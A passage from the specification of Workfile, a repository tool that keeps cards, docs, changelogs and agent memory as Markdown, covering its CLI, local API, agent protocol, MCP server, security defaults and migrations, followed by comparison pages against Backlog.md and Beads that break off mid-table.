allowlist, which is the only check a card arriving as a file in a diff ever meets; - a completed card verified by a method its area no longer accepts, and a verification policy naming an area the project no longer declares; - expired active context; - superseded records still marked active; - missing release fragments where required by policy; - stale managed documentation heuristics; - orphaned asset directories; - generated agent instructions out of sync; - frontmatter keys whose shape the codec cannot rewrite, on any kind of record, so that a header a write would be refused on is found by looking rather than by the refusal; - uncommitted schema migrations where detectable. Duplicate identity has a repair contract, because sequential IDs are allocated by scanning the local maximum and two clones therefore mint the same one independently. Filenames carry a title slug, so both files merge without a conflict and the collision surfaces only in the doctor. - A duplicate is healed by moving the losing record to a free ID in its own sequence. The surviving record keeps the ID and keeps every reference already written to it. - The survivor MUST be chosen deterministically, so two clones repairing the same collision converge without coordinating. Comparisons MUST order by code unit rather than by locale. - A record that has been published MUST NOT move. A released changelog fragment is frozen when its release is cut, and renumbering it would rewrite history that has shipped. - A collision the tool declines to heal MUST be reported with the reason it declined, and MUST NOT name a command that cannot perform the repair. ### 18.4 Baseline mode `--accept-baseline` records the current issues as known, and `--new` then exits non-zero only on issues that appeared since. This is the adoption path for an existing repository and the recommended CI gate. A per-diff mode was specified here for a long time and never built. It is not planned: rule evaluation is 3–5% of the command's cost at every measured scale — the rest is reading the corpus, which a scoped run cannot skip and which is cold in CI regardless, since the cache directory is not committed. Several rules are also global by nature (a stale claim, an expired context, a duplicate id), so a run scoped to touched records would report them only after the merge that made them matter. ### 18.5 Rule registry Rules implement a shared interface: ```ts interface DoctorRule { id: string; modules: string[]; run(context: DoctorContext): Promise; fix?: (issue: DoctorIssue, context: FixContext) => Promise; } ``` Project-specific rules use namespaced IDs. ## 19. CLI ### 19.1 Entry points ```bash workfile init workfile schema workfile doctor workfile upgrade workfile version workfile ui workfile card workfile doc workfile changelog workfile memory workfile agents workfile ci workfile claude workfile migrate workfile mcp workfile search ``` Running `workfile` with no subcommand starts the UI. Nothing in configuration disables that: the command word defaults to `ui` before any config is read. ### 19.2 Initialization ```bash pnpm dlx @illodev/workfile init ``` The initializer: 1. discovers the repository and package manager; 2. detects monorepo workspaces and likely areas; 3. finds existing documentation paths; 4. asks which modules to enable; 5. asks which agent environments are used; 6. proposes paths and previews changes; 7. creates configuration and protocol directories; 8. writes `.project/VERSION`; 9. updates `.gitignore` for cache only; 10. optionally adds package scripts; 11. optionally imports an existing v1 backlog; 12. runs the doctor and prints next steps. It MUST NOT overwrite existing files without confirmation or an explicit merge strategy. ### 19.3 Suggested package scripts ```json { "scripts": { "project": "workfile ui", "project:doctor": "workfile doctor", "project:agents": "workfile agents sync" } } ``` The package manager prefix is detected; the protocol itself does not require these aliases. ### 19.4 Card commands ```bash workfile card list workfile card show T-0042 workfile card create workfile card patch T-0042 --json-input changes.json workfile card claim T-0042 --scope apps/api workfile card release T-0042 workfile card transition T-0042 review workfile card archive T-0042 workfile card reopen T-0042 ``` Machine-oriented usage supports JSON input and output: ```bash workfile card create --json-input card.json --json ``` ### 19.5 Documentation commands ```bash workfile docs list workfile docs create --kind architecture workfile docs show DOC-0012 workfile search "billing retry" --kind doc ``` ### 19.6 Changelog commands ```bash workfile changelog add workfile changelog list --unreleased workfile changelog release 2.4.0 workfile changelog render workfile changelog verify ``` ### 19.7 Memory commands ```bash workfile memory add learning workfile memory add decision workfile memory add incident workfile memory add convention workfile memory add context workfile memory list --query "deployment verification" workfile memory supersede ADR-0008 workfile memory graduate LRN-0017 --to CONV-0001 ``` ### 19.8 Exit codes - `0` success; - `1` validation or expected command failure; - `2` invalid usage or configuration; - `3` write conflict; - `4` migration required; - other codes reserved for documented fatal errors. ## 20. Local server and HTTP API ### 20.1 Server behavior ```bash workfile ui ``` - serves the precompiled UI and JSON API from one local process; - binds to `127.0.0.1` by default; - selects configured port or a free alternative when allowed; - prints the workspace and URL; - may open the browser; - watches canonical files and updates clients; - never assumes the package is located inside the project tree. ### 20.2 API shape Versioned endpoints use `/api/v2`: ```text GET /api/v2/workspace GET /api/v2/schema GET /api/v2/records GET /api/v2/records/:id POST /api/v2/cards PATCH /api/v2/cards/:id POST /api/v2/cards/:id/claim POST /api/v2/cards/:id/transition POST /api/v2/cards/bulk GET /api/v2/docs GET /api/v2/changelog GET /api/v2/memory GET /api/v2/search GET /api/v2/health POST /api/v2/index/rebuild ``` Module-specific routes may supplement the common record API. ### 20.3 Schema endpoint The UI MUST obtain effective vocabularies and module capabilities at runtime: ```json { "schemaVersion": 2, "modules": { "cards": true, "docs": true, "changelog": true, "memory": true }, "cards": { "statuses": ["backlog", "next", "doing", "review", "blocked", "deferred", "done", "discarded"], "types": ["epic", "idea", "feature", "bug", "task", "audit", "docs", "chore"], "priorities": ["critical", "high", "medium", "low"], "areas": ["api", "web", "infra", "docs"] } } ``` The UI MUST NOT compile project-specific areas or collections into its TypeScript bundle. ### 20.4 API errors Errors use a stable structure: ```json { "error": { "code": "CARD_WRITE_CONFLICT", "message": "The card changed after it was loaded.", "details": {} } } ``` ## 21. User interface ### 21.1 Information architecture The primary navigation groups the product by user intent: ```text Work ├── Explorer ├── Triage ├── Flow ├── Epics └── Timeline Knowledge ├── Docs ├── Memory └── Search History ├── Changelog └── Releases System └── Health ``` Exact visual navigation may use tabs, sidebar or command palette, but these concepts remain separate. ### 21.2 Shared behaviors - global search across enabled modules; - bookmarkable URL state; - light and dark themes; - keyboard navigation; - accessible drawers and dialogs; - local editor deep links; - relationship and backlink panels; - optimistic updates with conflict recovery; - file-change refresh without erasing unsaved edits; - clear read-only versus editable state; - useful empty states when a module is disabled or uninitialized. ### 21.3 Work views The existing concepts remain: - Explorer: virtualized table, facets, sorting and bulk mutation; - Triage: one-card prioritization queue with keyboard shortcuts; - Flow: execution board with drag-and-drop transitions; - Epics: hierarchy and child progress; - Timeline: optional scheduling view; - card drawer: metadata, Markdown body, relationships and assets. ### 21.4 Docs view The Docs view provides: - source/collection tree; - full-text search; - Markdown rendering; - metadata and freshness status; - incoming and outgoing links; - related work and decisions; - open-in-editor action; - optional managed-document editing after MVP. ### 21.5 Changelog view The History view provides: - unreleased fragments; - release groups; - public/internal visibility filters; - linked cards and decisions; - release preparation preview; - rendered output preview; - validation before release. ### 21.6 Memory view The Memory view provides: - collection filters; - active/superseded/expired states; - relationship graph or backlinks; - learning occurrence and confidence metadata; - decision chains; - incident corrective actions; - graduation and supersession actions. ### 21.7 Health view Health renders the exact doctor report, supports severity filtering and links issues to their records and files. It MUST not implement a separate set of validation rules. ## 22. Agent protocol ### 22.1 Canonical instructions The source instruction set lives under: ```text .project/agents/protocol.md .project/agents/workflows/*.md ``` Adapters generate concise compatible instructions for: ```text AGENTS.md CLAUDE.md .cursor/rules/workfile.mdc .github/copilot-instructions.md ``` Generated blocks include a version marker and MUST be replaceable without overwriting unrelated user content. ### 22.2 Core obligations A protocol-aware agent MUST: 1. inspect relevant project records before beginning substantial work; 2. create cards in the same session when actionable pending work is discovered; 3. claim a card before modifying its scope; 4. check active claims and overlapping scopes; 5. keep the card updated while working; 6. clear claims when active work stops; 7. use `review` until verification supports `done`; 8. record durable decisions, incidents or learnings when they change future behavior; 9. add changelog fragments when project policy requires them; 10. never place credentials or unnecessary sensitive information in workfile memory; 11. run relevant doctor checks before finishing; 12. prefer CLI or MCP mutations over hand-written frontmatter. ### 22.3 Agent context budget Agents SHOULD load the smallest relevant context: - one card and its relationship neighborhood; - scoped docs and decisions; - active conventions; - unresolved incidents relevant to the paths; - non-expired context. The protocol MUST not encourage injecting the entire workfile memory into every prompt. ### 22.4 Instruction synchronization ```bash workfile agents sync workfile agents check ``` `sync` regenerates managed instruction blocks. `check` fails when generated blocks are stale relative to the installed protocol version or project configuration. ## 23. MCP and tool adapters MCP is an adapter over core services, not a second implementation. The tool catalogue is **not restated here**. `docs/mcp.md` documents every shipped tool with its parameters and reply shape, and `workfile mcp inspect` prints the same list from the definitions the server answers `tools/list` with. An earlier revision of this section listed fourteen recommended tools in a verb-first naming scheme. The server shipped noun-first in 0.1.0 and grew past it, so from the first release until this was corrected the normative document named thirteen tools no client could call. A second copy of a catalogue is only right until one of them moves. Tools are named `project__` — the module first, so a client listing them reads them grouped: `project_card_list`, `project_card_claim`, `project_doc_create`, `project_memory_add`. Operations that answer for any record type drop the module: `project_search`, `project_next`, `project_get_record`, `project_workspace`, `project_doctor`. Rules: - all writes use the same validation and concurrency behavior as CLI; - tools return stable machine-readable errors; - mutating tools report changed files; - tool descriptions include protocol semantics, especially `review` versus `done`; - the server may expose MCP over stdio first; network transports are optional later. ## 24. Security and safety ### 24.1 Path safety - all local paths are normalized and checked against workspace boundaries; - symlink escapes are rejected for writes; - asset and document routes reject traversal; - external read-only sources require explicit configuration; - arbitrary file serving is prohibited. ### 24.2 Local server - loopback binding is default and recommended; - non-loopback binding requires an explicit flag and warning; - no authentication is required for loopback MVP; - remote binding requires authentication before being considered supported. ### 24.3 Content safety - Markdown rendering sanitizes unsafe HTML; - external links are clearly marked and opened safely; - `vscode://` or editor links are opt-in/configurable; - uploaded filenames and MIME handling are defensive; - executable attachments are not launched by the server. ### 24.4 Sensitive data The doctor SHOULD detect likely secrets in protocol records through optional integration with existing secret scanners. The protocol itself does not store credentials. ## 25. Schema versioning and migrations ### 25.1 Version declaration `project.config.mjs` and `.project/VERSION` declare the schema version. A mismatch is an error requiring reconciliation. Example `.project/VERSION`: ```json { "schemaVersion": 2, "createdWith": "@illodev/workfile@2.0.0", "migratedAt": "2026-07-28T10:00:00Z" } ``` ### 25.2 Compatibility - patch package releases do not change canonical schema; - minor package releases may add optional backward-compatible fields or commands; - schema-breaking changes require a new schema version and migration; - newer unsupported schema versions are opened read-only where possible; - unknown compatible fields are preserved. ### 25.3 Migration behavior ```bash workfile migrate plan workfile migrate apply ``` Migrations: 1. inspect current state; 2. produce a human-readable plan; 3. create a Git-friendly backup or require a clean worktree; 4. apply deterministic file changes; 5. run the doctor; 6. report every changed path; 7. update version metadata only after successful validation. No migration deletes historical records by default. ## 26. Migration from Unified Backlog System v1 The existing implementation is treated as a supported legacy source. ### 26.1 Legacy layout ```text .planning/backlog/ ├── tasks/ ├── archive/ ├── assets/ ├── board/ └── SPEC.md .planning/changelog/ .planning/learnings/ .planning/sources/ ``` ### 26.2 Migration mapping | v1 | v2 | | --- | --- | | `.planning/backlog/tasks/` | `.project/cards/` | | `.planning/backlog/archive/` | `.project/cards/archive/` | | `.planning/backlog/assets/` | `.project/assets/` | | `.planning/changelog/` | `.project/changelog/` or configured source | | `.planning/learnings/` | `.project/memory/learnings/` | | `.planning/sources/` | `.project/sources/` | | v1 board source | installed npm package; removed after verification | | fixed Fube areas | configured `cards.areas` | ### 26.3 Compatibility-first approach The migrator SHOULD support two strategies: #### In-place compatibility Keep existing paths and generate configuration pointing to them. This minimizes the first diff and allows the package architecture to be validated before moving data. #### Canonical relocation Move records to `.project/` with Git-aware renames and rewrite affected relative links. The default recommendation is: 1. install the package; 2. use existing v1 paths through config; 3. validate feature parity; 4. relocate records in a later dedicated migration. ### 26.4 Code extraction plan The existing implementation should be transformed in this order: 1. move parser, serializer and diagnostic logic into `src/core`; 2. introduce `loadWorkspace()` and configuration-driven paths; 3. replace server-relative constants with workspace services; 4. move all canonical writes behind repositories and atomic filesystem operations; 5. add runtime schema endpoint; 6. remove project-specific enums from the UI bundle; 7. package prebuilt UI assets; 8. generalize Knowledge into configured Docs, History and Memory collections; 9. add CLI initialization and migrations; 10. generate agent instructions; 11. add MCP only after core contracts stabilize. ### 26.5 Required parity before deleting v1 board code - all existing cards load without semantic change; - parser round-trip tests remain byte-stable; - create, patch, bulk patch, claim, archive and asset upload work; - Explorer, Triage, Flow, Epics, Timeline and Health remain functional; - changelogs and learnings remain discoverable; - existing URLs have an equivalent or redirect where practical; - doctor output is equal or stricter with documented changes; - no v1 source directory is deleted automatically. ## 27. Extensibility ### 27.1 Internal module contract ```ts interface ProjectModule { id: string; version: number; collections: CollectionDefinition[]; load(workspace: ProjectWorkspace): Promise; doctorRules?: DoctorRule[]; routes?: RouteDefinition[]; cli?: CommandDefinition[]; ui?: UiModuleManifest; agentInstructions?: InstructionFragment[]; } ``` Version 2 uses this contract internally. Third-party npm modules are not a public stability promise until the contract has been validated by real modules. ### 27.2 Namespacing Extensions use namespaced IDs and fields: ```text acme/risk acme.compliance_level ``` Core serializers preserve them. Portable UI may display unknown fields generically. ### 27.3 External adapters Adapters may connect GitHub, GitLab, Jira, Linear, Slack or deployment systems. They MUST state which side is authoritative and how conflicts are resolved. No adapter may silently convert the repository into a non-authoritative cache. ## 28. Performance requirements The MVP target workspace contains: - 10,000 cards; - 10,000 documentation and memory records combined; - 5,000 changelog fragments and releases; - ordinary Markdown bodies up to 1 MB; - assets excluded from full-text indexing unless supported. Targets on a typical developer machine after warm index: - initial UI metadata response under 1 second for 10,000 cards; - common filtered search under 150 ms; - single-record mutation under 250 ms excluding filesystem contention; - incremental reindex of one changed Markdown file under 200 ms; - UI remains responsive through virtualization or incremental rendering. Cold scans may exceed these targets but SHOULD stream progress and cache results. ## 29. Testing strategy ### 29.1 Core tests - parser and serializer inverse properties; - unknown-field preservation; - ID allocation under concurrent requests; - atomic write recovery; - path traversal and symlink escapes; - hierarchy and relationship validation; - migration fixtures; - schema compatibility fixtures; - module repository behavior. ### 29.2 CLI tests - workspace discovery; - non-interactive JSON mode; - initializer merge safety; - exit codes; - dirty worktree migration behavior; - package-manager detection. ### 29.3 Server tests - versioned endpoints; - conflict responses; - static UI and asset serving; - input size limits; - Markdown sanitization; - runtime schema delivery. ### 29.4 UI tests - large dataset navigation; - filters and URL state; - edit conflict recovery; - unsaved-form protection on refresh; - keyboard and accessibility flows; - module-disabled states; - relationship navigation. ### 29.5 Golden project fixtures The repository SHOULD include fixtures for: - empty project; - cards-only project; - full v2 project; - legacy v1 project; - corrupted project with expected doctor output; - future-schema read-only project. ## 30. CI integration Recommended workflow: ```bash workfile doctor --new workfile agents check workfile changelog verify ``` Optional full validation on protected branches: ```bash workfile doctor --severity warning workfile changelog verify workfile memory verify ``` CI MUST not require starting the UI. ## 31. Observability The local server may emit structured debug logs when enabled: ```text time, level, operation, module, recordId, durationMs, changedPaths ``` Default output remains quiet and human-readable. Telemetry is disabled by default. Doctor reports and migration plans are reproducible artifacts suitable for CI upload. ## 32. MVP definition Version 2 MVP is complete when all of the following are true: ### Core and configuration - one npm package exposes the CLI and programmatic core; - workspace discovery and `project.config.mjs` work; - schema versioning and `.project/VERSION` work; - all paths are configuration-driven; - writes are atomic and preserve unknown fields. ### Work - feature parity with the existing card system; - runtime-configured areas; - atomic claim and transition commands; - cards remain readable and editable as Markdown. ### Docs - configured Markdown sources are indexed and searchable; - managed documents can be created through core/CLI; - UI can browse and render documents with backlinks. ### History - changelog fragments can be created, browsed and validated; - release records can consume fragments; - generated changelog preview is available. ### Memory - learning, decision, incident, convention and context records load; - records can be created through core/CLI; - supersession, expiry and relationships are validated; - UI can browse and search all collections. ### System - unified search works across modules; - Health renders shared doctor results; - initializer and v1 compatibility migration exist; - canonical agent instructions and at least `AGENTS.md` adapter exist; - CI commands work without UI dependencies. MCP, semantic search, remote adapters and public plugins are not required for MVP. ## 33. Implementation phases ### Phase 0 — Lock contracts - approve this spec; - choose final project/package name; - settle default paths and config shape; - add golden fixtures from the existing v1 implementation. ### Phase 1 — Core extraction - create package skeleton; - extract parser, serializer, loader and doctor; - add workspace/config services; - implement atomic writes and revision tokens; - keep current UI temporarily connected through a compatibility server. ### Phase 2 — Portable Work module - configuration-driven areas and paths; - CLI card operations; - runtime schema endpoint; - precompiled UI package; - v1 compatibility configuration; - parity tests. ### Phase 3 — Docs and unified index - glob discovery; - common record index and search; - Docs UI; - backlinks and freshness checks; - managed document CLI. ### Phase 4 — History and Memory - changelog fragments and releases; - memory collection schemas; - History and Memory UI; - graduation, supersession and expiry checks. ### Phase 5 — Initialization and agents - interactive/non-interactive initializer; - agent protocol generator; - adapters for selected environments; - CI templates; - migration plan/apply commands. ### Phase 6 — Integrations - MCP server; - semantic search option; - external tracker and deployment adapters; - evaluate public plugin API. ## 34. Phase 0 decisions The following decisions are locked for the v2 implementation. Changes require a dated amendment and, when they affect canonical files, an explicit schema compatibility analysis. 1. **Product and CLI** — the technical product name is **Workfile**; the formal standard remains **Repository Workfile**. The executable is `workfile`. 2. **Default root** — canonical managed data uses `.project/`. Every path remains configurable to support compatibility and specialized repositories. 3. **Package scope** — the initial package is `@illodev/workfile`. The package is internally modular but ships as one release unit through the v2 MVP. 4. **Canonical language** — the whole protocol surface is English: normative specifications, field names, enum values, diagnostic codes, machine contracts, UI labels, generated instructions and record bodies. Localization was offered through `config.language` until 0.6.x and removed in ADR-0012; the key is accepted and ignored so existing configurations keep loading. 5. **Card statuses** — the existing eight statuses are fixed protocol semantics in schema v2. Projects may hide statuses from selected views but may not remove or redefine them. 6. **Managed Docs UI** — indexed and managed documents are read-only in the MVP UI. Managed documents can be created and updated through core and CLI. In-UI document editing is deferred until conflict handling has proven stable on cards. 7. **Release model** — release identifiers are project-configurable. Semver is the default; calendar/date releases are supported. The selected strategy is declared in configuration and may not be inferred differently by CLI, UI and CI. 8. **ID allocation** — MVP allocation scans active and archived IDs, proposes the next sequence and exclusively creates a transient ID reservation under the disposable cache before writing the slugged record file. A collision causes a bounded retry with the next sequence. No canonical counter file is introduced in schema v2. Stale reservations are diagnosable and recoverable. 9. **Derived index** — Phase 1 starts with an in-memory index behind an `IndexStore` contract. The MVP persistent implementation is disposable SQLite under `.project/.cache/`. Canonical behavior must not depend on SQLite being present or intact. 10. **Agent instruction ownership** — `.project/agents/protocol.md` and workflow files are the canonical instruction source. Root/editor files contain generated, replaceable managed blocks and may also contain unrelated human-maintained instructions. 11. **v1 migration** — compatibility-path adoption is the default. Canonical relocation to `.project/` is a separate explicit migration after functional parity is verified. 12. **Publication** — development begins as a private package. Publication and license are product-governance decisions and do not block or alter the v2 technical contracts. ### 34.1 Phase 0 acceptance criteria Phase 0 is complete when: - this RC is accepted as the implementation contract; - the legacy v1 implementation is preserved as a golden fixture; - default configuration and effective schema fixtures exist; - parser round-trip and doctor parity tests run outside the legacy board directory; - Phase 1 code no longer imports paths or enums from the Fube repository layout. ## 35. Locked implementation defaults Unless amended, implementations use these defaults: ```text Product: Workfile Package: @illodev/workfile CLI: project Schema: 2 Root: .project/ Config: project.config.mjs Canonical language: English, with no localized surface Index: in-memory first; disposable SQLite for MVP Migration: compatibility paths first Instructions: .project/agents/protocol.md is canonical ``` The following original design recommendations remain in force: 1. One npm package for the v2 MVP, with internal boundaries suitable for later extraction. 2. Markdown as canonical storage and a disposable local index. 3. Project-specific areas are supplied at runtime by configuration. 4. Docs index existing files and manage optional protocol-owned documents. 5. Changelog uses atomic fragments plus release records. 6. Memory is split into learnings, decisions, incidents, conventions and expiring context. 7. CLI/core operations are authoritative; prompts only explain how to invoke them. 8. MCP is built after the core API stabilizes. 9. The local UI remains one precompiled application served by the package. ## 36. Phase 6 integration decisions 1. **MCP transport** — schema-v2 ships a local stdio server. Messages are UTF-8, newline-delimited JSON-RPC. Streamable HTTP is deferred until authentication, Origin validation and deployment-specific authorization have a concrete remote-use case. 2. **Protocol revisions** — the server is dual-era. Modern requests implement revision `2026-07-28` with per-request metadata, `server/discover`, stateless operation, `resultType` and cache metadata. Legacy clients may negotiate `2025-11-25` and the implementation's declared earlier revisions through `initialize`. 3. **Shared domain core** — MCP tools call the same core mutations as CLI and HTTP. No MCP handler may write canonical files directly. 4. **Safety mode** — MCP can be started read-only. Mutating tools are omitted from discovery and direct mutation calls fail with a stable protocol result. 5. **Resources and prompts** — canonical records are readable through `project://` resources. Start-work, finish-work and record-knowledge prompts are protocol adapters, not separate sources of project truth. 6. **Semantic search** — lexical search remains the built-in deterministic default. Semantic ranking is accepted only through an explicitly injected provider. The package never sends repository content to a network service by itself. 7. **Integration API** — the 0.6 integration registry is experimental and limited to approved semantic search and health adapters. It must mature from real usage before becoming a general plugin ABI. 8. **Vendor adapters** — issue tracker and deployment-provider adapters are deferred. Their credentials, remote identity and synchronization semantics are not canonical schema-v2 concerns. 9. **Publication governance** — technical packaging is prepared, but the package remains `private: true` and `UNLICENSED` until the owner makes the publication and license decision recorded as open in Phase 0. ## 37. Amendment log - **2026-07-28 RC2** — Locked the dual-era local MCP stdio contract (`2026-07-28` modern semantics plus legacy initialization compatibility), explicit read-only behavior, host-injected semantic search and the intentionally narrow experimental integration API. - **2026-07-28 RC1** — Locked Phase 0 technical contracts: product/package names, `.project/` root, fixed statuses, read-only Docs MVP UI, release strategy, collision-safe transient ID reservation, staged index implementation, canonical agent instructions and compatibility-first migration. - **2026-07-28 DRAFT** — Initial v2 draft derived from Unified Backlog System v1 and expanded into a portable repository operating protocol covering Work, Docs, History and Memory. --- --- title: Workfile vs Backlog.md — Markdown task tracking for AI agents, compared label: vs Backlog.md description: Both keep tasks as Markdown in git, with a CLI, a board and an MCP server. Backlog.md ships a compiled binary and a terminal board; Workfile enforces claims and a done gate. checked: 2026-09-14 --- # Workfile vs Backlog.md Backlog.md is the closest thing to Workfile there is: tasks as Markdown files with frontmatter, git as the database, a CLI, a web board and an MCP server. The difference is what happens when an agent does not follow the rules. In Backlog.md an assignee is a field and acceptance criteria are guidance; in Workfile a claim refuses another actor's transition, and `done` is refused while a criterion is unchecked. Backlog.md is far more widely used, ships as a compiled binary, and has a terminal board Workfile does not. Read against Backlog.md [1.52.0](https://registry.npmjs.org/backlog.md) at commit [`39912b8`](https://github.com/MrLesk/Backlog.md/tree/39912b864053dcdd1fafc458aacde43ffd616a0c) and `@illodev/workfile` 0.13.2. ## Side by side | | Workfile 0.13.2 | Backlog.md 1.52.0 | | --- | --- | --- | | Records | Markdown with frontmatter in `.project/`: cards, docs, changelog fragments and releases, memory | Markdown with frontmatter in `backlog/`: tasks, drafts, documents, decisions, milestones ([source](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/constants/index.ts#L4-L29)) | | Who holds a task | A claim over paths; a transition or release by another actor is refused with `CARD_CLAIM_OWNER_MISMATCH` | `assignee` is a list used for filtering ([type](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/types/index.ts#L50)); per-task write locks stop two writes colliding but record no owner ([locks](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/file-system/operations.ts#L637-L711)) | | Done with criteria unchecked | Refused with `CARD_ACCEPTANCE_UNMET`; forcing it requires a reason, which the card keeps | Allowed. `task_edit` sets the status without reading the checklists ([source](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/core/backlog.ts#L2014-L2020)); `task_complete` checks the status and branch, not the criteria ([handler](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/mcp/tools/tasks/handlers.ts#L493-L520)); checking criteria first is guidance to the agent ([guideline](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/guidelines/mcp/task-finalization.md#L21-L22)) | | Changelog | Fragments linked to cards, cut into releases, rendered to `CHANGELOG.md` | None as a feature ([their own draft](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/backlog/drafts/draft-13%20-%20Create-CHANGELOG.md)) | | Memory | Decisions, learnings, incidents, conventions and expiring context, each a typed record | Decisions as records; no learnings, incidents or conventions | | MCP server | `workfile mcp`, stdio, 32 tools, `--read-only` | `backlog mcp start`, stdio, 20 tools ([registration](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/mcp/server.ts#L545-L550)) | | Validation | `workfile doctor` | `backlog doctor`, with `--fix` for duplicate task IDs ([source](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/cli.ts#L5490-L5635)) | | Board | Local web UI | Local web board and a terminal board ([terminal](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/cli.ts#L4454-L4587), [web](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/cli.ts#L5779-L5781)) | | Network by default | One npm version check a day, removed by `upgrade: { check: false }` | No telemetry; `git fetch origin`, when a remote exists and `remoteOperations` is on (the default), before allocating an ID and at most once a minute while reading tasks across branches ([default](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/constants/index.ts#L69), [fetch](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/git/operations.ts#L572-L615), [reads](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/src/core/backlog.ts#L711-L766)) | | Runtime | Node.js ≥ 22 | A compiled binary per platform through Homebrew, npm or Bun (a small Node launcher picks it); the Nix flake runs a bundled build on Bun ([README](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/README.md#L78-L83), [build](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/scripts/build.ts#L20-L36), [flake](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/flake.nix#L89-L91)) | | License | MIT | MIT ([LICENSE](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/LICENSE)) | ## Where Backlog.md is stronger - **Adoption.** 6,726 GitHub stars and 12,847 npm downloads in the week to 2026-09-11 ([GitHub](https://api.github.com/repos/MrLesk/Backlog.md), [npm](https://api.npmjs.org/downloads/point/last-week/backlog.md)), with 17 npm releases between May and September 2026. Workfile is a young project with a fraction of that. - **No Node.js required.** Homebrew installs a compiled binary, and the npm and Bun packages wrap the same binary; Workfile needs Node.js 22. - **A terminal board.** `backlog board`. Workfile's board is a web UI only. - **Cross-branch awareness.** It shows task state from recently active branches, and checks IDs on other branches and worktrees before allocating one. Workfile reads records only from the checkout it runs in. - **A versioned JSON contract** with `schemaVersion`, and `--watch` streaming for `task list --json` ([spec](https://github.com/MrLesk/Backlog.md/blob/39912b864053dcdd1fafc458aacde43ffd616a0c/CLI-INSTRUCTIONS.md#L95-L136)). - **Shell completions** for bash, zsh, fish and PowerShell 7. - **A smaller agent surface.** 20 MCP tools against Workfile's 32. ## Where Workfile is stronger - **Claims that refuse.** A second agent cannot move or release a card the first one holds, and in Claude Code the plugin's hook asks before an edit inside a claimed scope. - **A done gate.** Criteria under `## Acceptance criteria` must be checked before `done`, and a forced close keeps its reason on the card. - **History.** Changelog fragments linked to cards, cut into releases. - **Typed memory.** `workfile agents context --card ID` hands an agent the card and every accepted decision and convention in force. - **An HTTP API and a read-only MCP mode** over the same core. ## Which to choose - **Backlog.md** if one person or one agent drives the work, you want a binary with no runtime, or you live in the terminal. - **Workfile** if several agents share a checkout, "done" has to mean proven, or the decisions and changelog belong beside the tasks. --- --- title: Workfile vs Beads — issue tracking for AI coding agents, compared label: vs Beads description: Beads is a Go issue tracker on Dolt with a dependency graph and atomic claims. Workfile keeps Markdown in git, scopes claims to paths and refuses done with open criteria. checked: 2026-09-14 --- # Workfile vs Beads Beads (`bd`) is an issue tracker built for coding agents: one Go binary, issues in a Dolt database, a ready queue computed from its blocking dependencies (four of its nineteen dependency types), and a claim that refuses an issue someone else holds. Workfile keeps its records as Markdown files in the repository instead of a database, scopes a claim to paths and keeps enforcing it after the claim, and refuses `done` while an acceptance criterion is unchecked. Beads is far more widely used and has the richer dependency model; it also sends usage metrics unless they are turned off. Read against Beads [v1.2.2](https://github.com/gastownhall/beads/releases/tag/v1.2.2) — its latest stable release, from 2026-08-15 — at commit [`6c12420`](https://github.com/gastownhall/beads/tree/6c124203e771433a3550c348771a5b5e27fd3c21), and `@illodev/workfile` 0.13.2. The metrics were also observed in the released binary, not only read in the source. The repository has moved from `steveyegge/beads` to `gastownhall/beads`. ## Side by side | | Workfile 0.13.2 | Beads 1.2.2 | | --- | --- | --- | | Records live in | Markdown files in `.project/`, versioned by git | A Dolt database, embedded by default under `.beads/embeddeddolt/`; `issues.jsonl` is an export ([README](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/README.md#L118-L132), [sync](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/docs/SYNC_CONCEPTS.md#L3)) | | Record types | Cards, docs, changelog fragments and releases, typed memory | Issues of twelve built-in types, including epic, decision and gate ([types](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/types/types.go#L524-L535)); nineteen dependency types ([dependencies](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/types/types.go#L781-L811)); key-value memories ([memory](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/memory.go#L56-L59)) | | Who holds work | A claim over paths; another actor's transition or release is refused; Claude Code asks before an edit in the scope | Claiming an issue someone else holds is refused ([claim](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/storage/issueops/claim.go#L50-L92)); afterwards `bd update --assignee` overwrites the holder ([update](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/update.go#L107-L109)) and `bd close` does not check it | | Done with criteria unchecked | Refused with `CARD_ACCEPTANCE_UNMET` | Allowed: `acceptance_criteria` is free text that `bd close` does not read. Close does refuse epics with open children, unresolved gates and open blockers, unless `--force` is given ([close](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/close.go#L117-L150)) | | Changelog | Fragments cut into releases | None for projects; 